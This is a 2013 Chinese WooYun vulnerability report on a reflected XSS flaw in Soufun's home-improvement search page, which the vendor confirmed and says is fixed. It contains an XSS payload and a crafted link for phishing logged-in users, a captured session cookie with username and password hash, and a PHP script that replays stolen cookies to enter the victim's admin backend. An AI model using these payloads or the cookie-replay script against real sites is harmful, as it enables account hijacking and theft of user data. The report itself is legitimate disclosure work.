当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-033982

漏洞标题:搜房网存在xss漏洞可导致csrf可导致用户帐号被盗

相关厂商:搜房网

漏洞作者: IT P民

提交时间:2013-08-09 18:53

修复时间:2013-09-23 18:54

公开时间:2013-09-23 18:54

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-09: 细节已通知厂商并且等待厂商处理中
2013-08-09: 厂商已经确认,细节仅向厂商公开
2013-08-19: 细节向核心白帽子及相关领域专家公开
2013-08-29: 细节向普通白帽子公开
2013-09-08: 细节向实习白帽子公开
2013-09-23: 细节向公众公开

简要描述:

对输入的参数输出过滤不严谨导致反射型xss,泄漏用户cookie,导致信息被盗取,用户被登录

详细说明:

这个漏洞在wooyun提了两次,没有审核通过,第二次审核不通过的提示语为:问题确实存在但是危害不大。
楼主认为反射型的xss漏洞可大可小,看怎么去利用。所以楼主现在一步步深挖,看这个漏洞危害可否被放大。
(1)寻找xss漏洞
目标链接:http://home.soufun.com/jiancai/SearchList.aspx
漏洞重现方法:在目标链接处输入 <a href="http://www.wooyun.org"><img src="#"/**/onerror=alert(document.cookie) width=100>点击参加活动</a>,在IE下可以看到反射型xss了。

2.png


对于没有登录的用户来说,确实没有什么危害,但是,对于已经登录的用户,我们来看cookie里存放了些什么东西:

3.png


如你所见,用户名,加密后的密码,都在这里边。
这里不讨论怎么去破解加密的密码,继续来演进这个漏洞有什么危害
(2)寻找目标,这是社会工程学的问题了。
找一个搜房 装修帮的用户,也很容易找,如:http://home.soufun.com/shop/40794726/
,发给用户这个链接http://home.soufun.com/jiancai/SearchList.aspx?level=1&q=%3Ca+href%3D%22http%3A%2F%2Fwww.wooyun.org%22%3E%3Cimg+src%3D%22%23%22%2F**%2Fonerror%3Dalert%28document.cookie%29+width%3D100%3E%B5%E3%BB%F7%B2%CE%BC%D3%BB%EE%B6%AF%3C%2Fa%3E&category=&x=57&y=14
标题说什么 搜房网推出什么优惠大活动神马的东西,
如果当前用户已经登录了装修帮后台,并访问了这个链接,那么恭喜,用户被反射型xss攻击了,如果不是alert用户的cookie,而是收集用户的cookie呢?会有什么危害?
(3)假设我们已经通过步骤(2)的xss存储了用户的cookie(其实要收集也很简单,一个http请求就是了),我们通过一下的脚本来跑一跑,看有什么效果:

<?php
function explode_cookie($cookie) {
$cookie_arr = explode(";", $cookie);
foreach ($cookie_arr as $cookie_str) {
list($cookie_key,$cookie_value) = explode("=", $cookie_str);
$cookie_key = trim($cookie_key);
setcookie($cookie_key,$cookie_value,1800,'/','soufun.com');
}
}
function url_replace($str) {
$pattern_var = "/href=(['\"])\//";
$replace_var = "href='http://dianpu.soufun.com/";

if (preg_match($pattern_var, $str)) {
$str = preg_replace($pattern_var, $replace_var, $str);
}

return $str;
}
$admin_url = array(
"http://dianpu.soufun.com/jiancai/dealer/top.aspx",
"http://dianpu.soufun.com/jiancai/dealer/left.aspx",
"http://dianpu.soufun.com/index.aspx",
);
$cookie = "unique_cookie=U_b8nnhkz09nmlasskytp5f3ymg54hk50614w*12; __utmc=77873355; jiatxShopWindow=1; global_cookie=b8nnhkz09nmlasskytp5f3ymg54hk50614w; __utma=77873355.1662561517.1376029049.1376029049.1376037185.2; __utmb=77873355.9.10.1376037185; __utmz=77873355.1376029049.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); passport=usertype=1&userid=42545987&username=testxss89&password=381F5D8A96DFF049&isvalid=6BB50273C1F61D91962B0E259B086163&validation=6BB50273C1F61D912EC3FE322B6620E8917B57BF3DAD9B00; homezxb=sogo_dealerid=64451&Sogo_validation=C89DBE9F840476F053AEB80D5B7645B30D8754A1447B3A21&home_weike_userid=-64451&home_weike_user_validation=C89DBE9F840476F037BB50C741626714147ECDCB693EE44F; rememberRightname=testxss89";
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
explode_cookie($cookie);
foreach ($admin_url as $url) {
$header = array();
$header[] = "Cookie: {$cookie}\r\n";
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
$data = curl_exec($ch);
$data = url_replace($data);
echo $data;
}
curl_close($ch);


上面的脚本的意图就是,模拟http请求装修帮的后台。
正常的后台是这样的:

4.png


我们模拟登录后的后台是这样的:

5.png


6.png


7.png


8.png


如你所见,我已经登录了当前用户的帐号~
那么还有什么事情不能做呢?
这个漏洞可以做更多有想象力的事情,不管危害如何,希望尽快修复。

漏洞证明:

2.png


3.png


5.png

修复方案:

(1)建议 不要依赖cookie,连接session断掉之后cookie失效。
(2)修复xss漏洞

版权声明:转载请注明来源 IT P民@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-08-09 21:30

厂商回复:

已经修复,多谢!

最新状态:

暂无